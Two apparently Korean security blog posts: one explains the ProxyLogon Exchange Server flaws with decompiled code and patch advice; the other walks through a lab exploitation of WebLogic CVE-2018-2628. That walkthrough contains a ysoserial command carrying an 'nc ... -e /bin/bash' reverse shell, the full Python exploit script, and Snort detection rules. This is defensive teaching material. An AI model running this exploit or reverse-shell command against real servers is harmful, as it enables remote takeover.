1. MS Window Exchange Serve

- 전자 메일, 연락처, 일정 등의 기능을 제공하는 협업 소프트웨어

 

1.1 Exchange Serve 구조

[사진 1] Exchange Serve 구조 및 취약점 발생 지점

 

- Exchange Serve는 사용자 UI를 담당하는 Front-End와 로직을 담당하는 Back-End로 구성

- Front-End로 들어온 사용자 요청은 내부 처리 과정을 거쳐 1:1로 연결된 Back-End의 모듈로 전송

> 각 요청마다 처리하는 모듈이 다르며 각 모듈은 동일한 하나의 모듈을 상속받아 특성에 맞게 추가 구현됨

 

2. 취약점 [2]

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2021-26855 [1]

 

- Exchange 서버에서 입력값 검증이 미흡하여 발생하는 SSRF 취약점으로 Exchange 서버로 인증이 가능

> 영향받는 버전: Microsoft Exchange Server 2013, 2016, 2019

> 공격자는 해당 공격을 통해 Exchange 서버에 접근할 수 있는 일부 권한 획득추가적인 공격을 진행

CVE 설명
CVE-2021-26857 Exchange 서버에서 안전하지 않은 역직렬화로 인해 발생하는 임의코드실행 취약점
CVE-2021-27065 Exchange 서버에서 발생하는 임의파일쓰기 취약점
CVE-2021-26858

[사진 3] 취약점 악용 과정 요약 [3]

2.1 CVE-2021-26855

- Front-End로 들어온 사용자의 요청을 Back-End로 전달 하기위해 ProxyRequestHandler 모듈을 사용 [4]

사용자 접속 페이지 사용자 요청 처리 모듈 최상위 모듈
/owa OwaProxyRequestHandler ProxyRequestHandler
/ews EwsProxyRequestHandler
/ecp EcpProxyRequestHandler

 

- ProxyRequestHandler.GetTargetBackEndServerUrl() 메서드
> urlAnchorMailbox의 값이 Null일 경우 Back-End의 Host 값을 this.AnchoredRoutingTarget.BackEndServer.Fqdn에서 가져옴

protected virtual Uri GetTargetBackEndServerUrl() {
    this.LogElapsedTime("E_TargetBEUrl");
    Uri result;
    try {
        UrlAnchorMailbox urlAnchorMailbox = this.AnchoredRoutingTarget.AnchorMailbox as UrlAnchorMailbox;
        if (urlAnchorMailbox != null) {
            result = urlAnchorMailbox.Url;
        } else {
            UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
            clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
            clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
            clientUrlForProxy.Port = 444;
            if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion) {
                this.ProxyToDownLevel = true;
                RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
                clientUrlForProxy.Port = 443;
            }
            result = clientUrlForProxy.Uri;
        }
    }
    finally {
        this.LogElapsedTime("L_TargetBEUrl");
    }
    return result;
}

 

- /owa에서 사용자 요청이 올 경우 this.AnchoredRoutingTarget.BackEndServer 값BEResourceRequestHandler 모듈의 ResolveAnchorMailbox() 메소드를 통해 결정

> 이때, 사용자 요청에서 "X-AnonResource-Backend" 쿠키의 값을 필터링 없이 그대로 사용

> 따라서, 공격자는 해당 헤더를 접근 불가능한 내부 사이트 또는 다른 서버로 조작하여 접근이 가능하게 됨

protected override AnchorMailbox ResolveAnchorMailbox() {
    HttpCookie httpCookie = base.ClientRequest.Cookies["X-AnonResource-Backend"];
    if (httpCookie != null) {
        this.savedBackendServer = httpCookie.Value;
    }
    if (!string.IsNullOrEmpty(this.savedBackendServer)) {
        base.Logger.Set(3, "X-AnonResource-Backend-Cookie");
        if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
            ExTraceGlobals.VerboseTracer.TraceDebug<HttpCookie, int>((long)this.GetHashCode(), "[OwaResourceProxyRequestHandler::ResolveAnchorMailbox]: AnonResourceBackend cookie used: {0}; context {1}.", httpCookie, base.TraceContext);
        }
        return new ServerInfoAnchorMailbox(BackEndServer.FromString(this.savedBackendServer), this);
    }
    return new AnonymousAnchorMailbox(this);
}

 

/ecp에서 사용자 요청이 올 경우 this.AnchoredRoutingTarget.BackEndServer 값 BEResourceRequestHandler 모듈의 ResolveAnchorMailbox() 메소드를 통해 결정
> 이때, 사용자 요청에서 "X-BEResource" 쿠키의 값을 필터링 없이 그대로 사용
> 공격자는 해당 쿠키를 조작하여 내부 서버에서 계정 정보를 획득 및 악용하여 인증을 우회할 수 있음

 

2.2 CVE-2021-26857 [5]

- Exchange 서버에서 안전하지 않은 역직렬화로 인해 발생하는 임의코드실행 취약점

> 메일 서버 침투 후 해당 취약점을 이용해 관리자 권한을 획득하여 시스템을 장악

 

2.3 CVE-2021-27065 [6]

- Exchange 서버에서 발생하는 임의파일쓰기 취약점

> 메일 서버 침투 후 OAB(Offline Address Book) 설정 파일에 한줄 웹쉘을 삽입(=재설정)실행 명령을 포함한 요청을 전송웹쉘 실행

> OAB를 재설정하는 과정에서 경로 및 확장자를 검토하는 코드가 없어 공격자가 원하는 위치에 원하는 확장자로 파일 생성 가능 [4]

※ OAB : MS Exchange Server에서 제공하는 주소록 기능으로 Outlook이 Exchange Server와 통신할 때 다운 받게 되는 주소록으로, Exchange server와 통신하지 않는(오프라인) 상황에서 해당 파일을 참조

[사진 4]&nbsp;WriteFileActivity.Run()

2.4 CVE-2021-26858 [7]

- Exchange 서버에서 발생하는 임의파일쓰기 취약점

 

3. 대응방안

① 벤더사에서 제공하는 업데이트 적용 [8][9]

- 특정 쿠키 값 조작 후 접근 불가 사이트 접근 및 인증우회를 방지하기 위한 유효성 검증 코드 추가

- 웹쉘 실행을 방지하기 위해 생성되는 파일의 확장자에 .txt 확장자를 추가하는 코드 추가

 

- KISA 보호나라 보안 공지 참고 업데이트 적용 [10]

> 즉각적인 업데이트가 불가할 경우 KISA 보호나라 임시 조치 방안 참고 [11]

 

② 운영체제 및 사용중인 주요 SW의 보안 업데이트 적용
 불필요한 네트워크 서비스의 경우 중단 또는 기능 삭제
 방화벽 설정 등을 통해 외부에서 들어오는 스캐닝 등 차단
 웹쉘 업로드 여부 모니터링 및 관련 보안 SW 적용
 지속적 접근을 위한 스케줄러 등록 작업 검토
 공개된 공격도구들에 대한 시그니처를 보안장비에 등록하여 차단 또는 탐지하도록 설정
 로그 모니터링
 공개된 침해지표 등을 보안장비에 등록 등

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2021-26855
[2] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000127&nttId=36053&menuNo=205021
[3] https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c
[4] https://chmodi.tistory.com/154
[5] https://nvd.nist.gov/vuln/detail/cve-2021-26857
[6] https://nvd.nist.gov/vuln/detail/CVE-2021-27065
[7] https://nvd.nist.gov/vuln/detail/CVE-2021-26858
[8] https://msrc.microsoft.com/blog/2021/03/multiple-security-updates-released-for-exchange-server/
[9] https://chmodi.tistory.com/157
[10] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&nttId=35929&menuNo=205020
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&nttId=35931&menuNo=205020
[12] https://www.boannews.com/media/view.asp?idx=97934
[13] https://www.boannews.com/media/view.asp?idx=106528

1. WebLogic

- Oracle사에서 개발한 Web Application Server로 JAVAEE 아키텍처를 기반으로 하는 미들 웨어

 

Weblogic Server | Oracle

Oracle WebLogic Server is a unified, extensible platform for developing and deploying enterprise Java applications, on-premises or in the cloud.

www.oracle.com

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2018-2628

- Oracle WebLogic 서버의 RMI 레지스트리를 역직렬화로 원격 코드를 실행할 수 있는 취약점

- 기본 포트 7001를 사용하는 서버를 대상으로 공격이 이루어지지만 다른 포트를 사용 중인 경우에도 공격

영향받는 버전
- Oracle Weblogic 10.3.6.0 / 12.2.1.2 / 12.1.3.0 / 12.2.1.3

 

2.1 공격 흐름

① 공격자는 Weblogic 서버에서 오픈된 T3 프로토콜과 소켓 통신 생성

② 조작된 페이로드를 전송

③ 원격 서버가 전송받은 페이로드를 역직렬화하여 원격코드 실행

[사진 2] https://www.igloo.co.kr/security-information/cve-2018-2628-oracle-weblogic-rce-deserialization-vulnerability/

 

Java RMI
- 원격 시스템 간의 메시지 교환을 위해서 사용하는 기술
- 원격에 있는 시스템의 메서드를 로컬 시스템의 메서드인 것처럼 호출
- 원격 시스템의 메서드를 호출 시에 전달하는 메시지(보통 객체)를 자동으로 직렬화 시켜 사용
- 전달받은 원격 시스템은 메시지를 역직렬화를 통해 변환하여 사용

Weblogic T3 프로토콜
- WebLogic 서버와 다른 유형의 Java 프로그램간에 정보를 전송하는 데 사용되는 프로토콜

 

2.2 실습

- Oracle Weblogic 10.3.6.0 정상 접근 확인

[사진 3] WebLogic 구동

 

- 먼저 공격자는 다음 명령을 수행

※ 해당 명령어는 포트를 열고 Listen을 하면서 대기중인 상태

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "nc 192.168.56.102 4444 -e /bin/bash"

[사진 4] 1099 포트 오픈 명령

 

- 이와 동시에 공격자는 리버스 쉘 생성을 위한 명령을 수행

[사진 5] 리버스 쉘

 

- 공개된 exploit을 이용해 페이로드 전송

※ exploit : https://www.exploit-db.com/exploits/44553

python 44553.py 192.168.56.112 7001 ysoserial-all.jar 192.168.56.102 1099 JRMPClient

[사진 6] exploit 페이로드 전송

- [사진 4]의 terminal을 확인해보면 [사진 7]과 같은 문자열이 확인됨

[사진 7] Listener Terminal

 

- 이후 [사진 5]의 리버스쉘 생성되며, 이에 따라 원격 명령 수행이 가능해짐

※ 실습에서는 리버스 쉘 생성이 되지않아, 와이어샤크를 통해 패킷 확인 결과 다른 IP로의 연결 시도가 된것으로 판단

[사진 8] 패킷 확인

 

- 위 과정이 정상적으로 이루어진 경우 리버스 쉘 생성과 원격 명령 수행이 가능해짐

[사진 9] 리버스 쉘 생성(위) 및 패킷 확인(아래)

2.3 PoC

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    #generates ysoserial payload
    command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
    print("command: " + command)
    os.system(command)
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')


def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


def send_payload_objdata(sock, data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception:
        pass
    return res


def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(65)
    server_addr = (dip, dport)
    t3_handshake(sock, server_addr)
    build_t3_request_object(sock, dport)
    payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
    print("payload: " + payload)
    rs=send_payload_objdata(sock, payload)
    print('response: ' + rs)
    print('exploit completed!')


if __name__=="__main__":
    #check for args, print usage if incorrect
    if len(sys.argv) != 7:
        print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
              '[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
        sys.exit()

    dip = sys.argv[1]
    dport = int(sys.argv[2])
    path_ysoserial = sys.argv[3]
    jrmp_listener_ip = sys.argv[4]
    jrmp_listener_port = sys.argv[5]
    jrmp_client = sys.argv[6]
    exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

 

- 실제 공격을 시도하는 exploit()은 크게 3부분으로 이루어짐

① 취약 서버와 T3 통신을 위한 소켓 sock 생성

② 서버 정보를 따로 저장한 변수와 sock을 이용해 T3 서비스와 연결 생성

③ 소켓 연결 후 ysoserial의 JRMPClient2 라이브러리를 사용해 RMI Connection 포트 1099 오픈 페이로드 생성 및 취약 서버에 페이로드 전송

[사진 10] exploit()

함수 설명
t3_handshake() 서버정보를 통해 socket을 이용하여 T3 서비스와 통신을 위한 함수
build_t3_request_object() T3 서비스와 통신 후에 socket 연결을 맺는 함수
generate_payload() Socket 연결이 맺어진 후에 ysoserial의 JRMPClient2 라이브러리를 사용하여 RMI Connection 포트(1099)를 오픈하는 Payload를 생성하는 함수
send_payload_objdata Weblogic Server에 Socket을 통해 Payload를 전송하는 함수

 

3. 대응방안

3.1 서버측면

① 최신 버전으로 업데이트 적용

② Weblogic Server 포트 변경

- Weblogic Server의 기본 포트 7001를 사용 중인 시스템이 대상이 되는 취약점

- 기본 포트를 사용할 경우에는 다른 포트로 변경하여 사용

- 다른 포트를 사용할 경우에는 해당 포트에 대해 접근 제한을 적용

 

3.2 네트워크 측면

① 보안장비에 탐지 정책 적용

- 직렬화 데이터는 해당 데이터가 직렬화된 데이터라는 것을 알려주는 "ac ed 00 05"라는 시그니처를 가짐

[사진 11] ac ed 00 05

alert tcp $EXTERNAL_NET any ->$HOME_NET 7001 (msg:"Oracle Weblogic Deserialization RCE CVE-2018-2628";flow:to_server,established;content:"|AC ED 00 05|";content:”Registry”;fast_pattern:only;)

alert tcp $EXTERNAL_NET any ->$HOME_NET 7001 (msg:"Oracle Weblogic Deserialization RCE CVE-2018-2628";flow:to_server,established; content:”|AC ED 00 05|”; content:”InvocationHandler”; fast_pattern:only;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2018-2628

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

- https://www.igloo.co.kr/security-information/cve-2018-2628-oracle-weblogic-rce-deserialization-vulnerability/

https://www.exploit-db.com/exploits/44553

https://github.com/frohoff/ysoserial
- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=27186&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTgtMjYyOA== 

- https://teamsign.tistory.com/3

+ Recent posts